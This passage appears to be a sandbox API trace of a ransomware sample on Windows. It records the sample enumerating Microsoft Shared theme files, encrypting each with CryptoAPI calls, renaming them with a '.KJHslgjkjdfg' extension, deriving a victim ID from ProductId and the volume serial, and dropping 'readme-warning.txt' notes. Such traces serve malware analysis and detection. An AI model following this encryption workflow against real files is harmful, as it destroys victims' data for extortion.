lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4c6b, lpOverlapped=0x0) returned 1 [0147.740] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4c70) returned 1 [0147.740] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.740] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4c70, lpOverlapped=0x0) returned 1 [0147.741] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.741] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.741] SetEndOfFile (hFile=0x118) returned 1 [0147.743] GetProcessHeap () returned 0x2a0000 [0147.743] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.743] GetProcessHeap () returned 0x2a0000 [0147.743] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.748] CloseHandle (hObject=0x118) returned 1 [0147.748] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.748] GetProcessHeap () returned 0x2a0000 [0147.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.749] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.749] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.749] GetProcessHeap () returned 0x2a0000 [0147.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.749] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.749] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.749] GetProcessHeap () returned 0x2a0000 [0147.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.749] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.749] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.749] GetProcessHeap () returned 0x2a0000 [0147.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.749] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.749] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.750] GetProcessHeap () returned 0x2a0000 [0147.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.750] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.750] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.750] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.750] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.750] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.750] RegCloseKey (hKey=0x118) returned 0x0 [0147.750] GetProcessHeap () returned 0x2a0000 [0147.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.750] GetProcessHeap () returned 0x2a0000 [0147.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.750] GetProcessHeap () returned 0x2a0000 [0147.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.750] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.750] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.750] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.751] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.751] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.751] GetProcessHeap () returned 0x2a0000 [0147.751] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.751] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.751] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.751] GetProcessHeap () returned 0x2a0000 [0147.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.751] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\readme-warning.txt") returned 81 [0147.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.752] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.753] CloseHandle (hObject=0x118) returned 1 [0147.754] GetProcessHeap () returned 0x2a0000 [0147.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.754] GetProcessHeap () returned 0x2a0000 [0147.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.754] GetProcessHeap () returned 0x2a0000 [0147.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.754] GetProcessHeap () returned 0x2a0000 [0147.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.754] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.754] GetProcessHeap () returned 0x2a0000 [0147.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.754] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0147.754] GetProcessHeap () returned 0x2a0000 [0147.754] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0147.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.755] GetProcessHeap () returned 0x2a0000 [0147.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.755] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.755] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.755] GetProcessHeap () returned 0x2a0000 [0147.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0147.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.755] GetProcessHeap () returned 0x2a0000 [0147.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.755] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.755] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.755] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0147.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.758] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.759] GetProcessHeap () returned 0x2a0000 [0147.759] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.759] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.759] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.759] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.759] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.759] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.759] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.759] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.759] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.759] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.759] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.760] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.760] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x58f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x58f, lpOverlapped=0x0) returned 1 [0147.760] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x590, dwBufLen=0x590 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x590) returned 1 [0147.760] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.760] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x590, lpOverlapped=0x0) returned 1 [0147.760] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.760] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.760] SetEndOfFile (hFile=0x118) returned 1 [0147.762] GetProcessHeap () returned 0x2a0000 [0147.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.762] GetProcessHeap () returned 0x2a0000 [0147.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.771] CloseHandle (hObject=0x118) returned 1 [0147.771] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0147.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.772] GetProcessHeap () returned 0x2a0000 [0147.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.772] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.772] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.772] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.774] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.774] GetProcessHeap () returned 0x2a0000 [0147.774] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.775] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.775] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.775] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.775] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.775] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.775] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.775] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.775] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.775] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.775] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.775] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.775] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb30e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb30e, lpOverlapped=0x0) returned 1 [0147.780] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb310, dwBufLen=0xb310 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb310) returned 1 [0147.781] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.781] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb310, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb310, lpOverlapped=0x0) returned 1 [0147.781] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.781] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.781] SetEndOfFile (hFile=0x118) returned 1 [0147.784] GetProcessHeap () returned 0x2a0000 [0147.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.784] GetProcessHeap () returned 0x2a0000 [0147.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.kjhslgjkjdfg")) returned 1 [0147.796] CloseHandle (hObject=0x118) returned 1 [0147.796] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0147.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.797] GetProcessHeap () returned 0x2a0000 [0147.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.797] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.797] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.797] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0147.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.799] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.799] 